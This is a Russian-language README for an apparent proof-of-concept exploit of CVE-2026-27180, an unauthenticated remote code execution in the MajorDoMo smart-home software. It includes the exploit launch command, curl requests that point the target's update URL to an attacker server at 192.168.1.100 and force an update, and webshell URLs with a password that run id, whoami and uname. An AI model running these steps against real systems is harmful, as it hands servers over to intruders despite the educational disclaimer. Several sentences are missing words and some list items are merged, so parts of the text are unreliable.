
Эксплойт proof-of-concept для CVE-2026-27180 — неаутентифицированное удалённое выполнение кода (RCE) в MajorDoMo через отравление URL обновления, с доставкой веб-шелла в корневой каталог веб-сервера.
Неаутентифицированное удалённое выполнение кода через отравление URL обновления в MajorDoMo
CWE-494 – Загрузка кода без проверки целостности
Воздействие: полный компрометация сервера через webshell, размещённый в корне веб-каталога
Требуется аутентификация: нет
Патч: PR #1177
Этот репозиторий содержит proof-of-concept эксплойт для – критической уязвимости неаутентифицированного удалённого выполнения кода в программном обеспечении для умного дома .
Атакующий может:
Уязвимость существует из-за:
auto_update_settings и force_updateCURLOPT_SSL_VERIFYPEER = false)poc.php).htaccess для принудительного выполнения PHPgit clone https://github.com/YOUR-USERNAME/majordomo-cve-2026-27180-exploit.git
cd majordomo-cve-2026-27180-exploit
# pip install не требуется – используется только стандартная библиотека + argparse
graph TD
A["Attacker starts malicious HTTP server\nserving /master.xml + /archive/master.tar.gz"] --> B["Attacker poisons update URL\nvia GET /objects/?module=saverestore&mode=auto_update_settings\n&set_update_url=http://attacker:8080"]
B --> C["Attacker triggers update\nGET /objects/?module=saverestore&mode=force_update"]
C --> D["MajorDoMo fetches poisoned Atom feed"]
D --> E["Downloads malicious master.tar.gz\n(CURLOPT_SSL_VERIFYPEER=false)"]
E --> F["Extracts tar.gz with tar xzvf ..."]
F --> G["copyTree() copies files recursively\n→ poc.php & .htaccess land in web root"]
G --> H["Attacker accesses webshell\nhttp://target/poc.php?pass=ChangeMe123&cmd=id"]
style A fill:#f9d5e5,stroke:#333,stroke-width:2px
style H fill:#c3e6cb,stroke:#333,stroke-width:2px
Запустите вредоносный сервер:
python3 exploit.py http://192.168.1.50:80 --lhost 192.168.1.100 --lport 8080
После запуска сервера выполните эти команды против цели:
# 1. Отравление источника обновления
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=auto_update_settings&set_update_url=http://192.168.1.100:8080'
# 2. Запуск принудительного обновления
curl 'http://192.168.1.50:80/objects/?module=saverestore&mode=force_update'
Подождите 10–90 секунд, затем проверьте webshell:
# Примеры:
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=id
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=whoami
http://192.168.1.50/poc.php?pass=ChangeMe123&cmd=uname%20-a
Этот код предоставляется строго в образовательных целях, для авторизованного тестирования безопасности и мероприятий red teaming.
Лицензия MIT
Copyright © 2026 Mohammed Idrees Banyamer
Настоящим предоставляется бесплатное разрешение любому лицу, получившему копию этого программного обеспечения и связанных файлов документации («Программное обеспечение»), на использование Программного обеспечения без ограничений, включая, без ограничений, права на использование, копирование, изменение, объединение, публикацию, распространение, сублицензирование и/или продажу копий Программного обеспечения, а также на разрешение лицам, которым предоставляется Программное обеспечение, делать это при соблюдении следующих условий:
Вышеуказанное уведомление об авторских правах и данное уведомление о разрешении должны быть включены во все копии или существенные части Программного обеспечения.
ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДОСТАВЛЯЕТСЯ «КАК ЕСТЬ», БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ, ЯВНЫХ ИЛИ ПОДРАЗУМЕВАЕМЫХ, ВКЛЮЧАЯ, НО НЕ ОГРАНИЧИВАЯСЬ, ГАРАНТИЯМИ ТОВАРНОЙ ПРИГОДНОСТИ, СООТВЕТСТВИЯ ОПРЕДЕЛЁННОМУ НАЗНАЧЕНИЮ И ОТСУТСТВИЯ НАРУШЕНИЯ ПРАВ. НИ ПРИ КАКИХ ОБСТОЯТЕЛЬСТВАХ АВТОРЫ ИЛИ ПРАВООБЛАДАТЕЛИ НЕ НЕСУТ ОТВЕТСТВЕННОСТИ ПО ЛЮБЫМ ИСКАМ, ЗА УЩЕРБ ИЛИ ПО ИНЫМ ОБЯЗАТЕЛЬСТВАМ, БУДЬ ТО В ДЕЙСТВИЯХ ПО КОНТРАКТУ, ДЕЛИКТУ ИЛИ ИНЫМ ОБРАЗОМ, ВОЗНИКШИМ ИЗ, ВНЕ ИЛИ В СВЯЗИ С ПРОГРАММНЫМ ОБЕСПЕЧЕНИЕМ ИЛИ ИСПОЛЬЗОВАНИЕМ ИЛИ ИНЫМИ ДЕЙСТВИЯМИ С ПРОГРАММНЫМ ОБЕСПЕЧЕНИЕМ.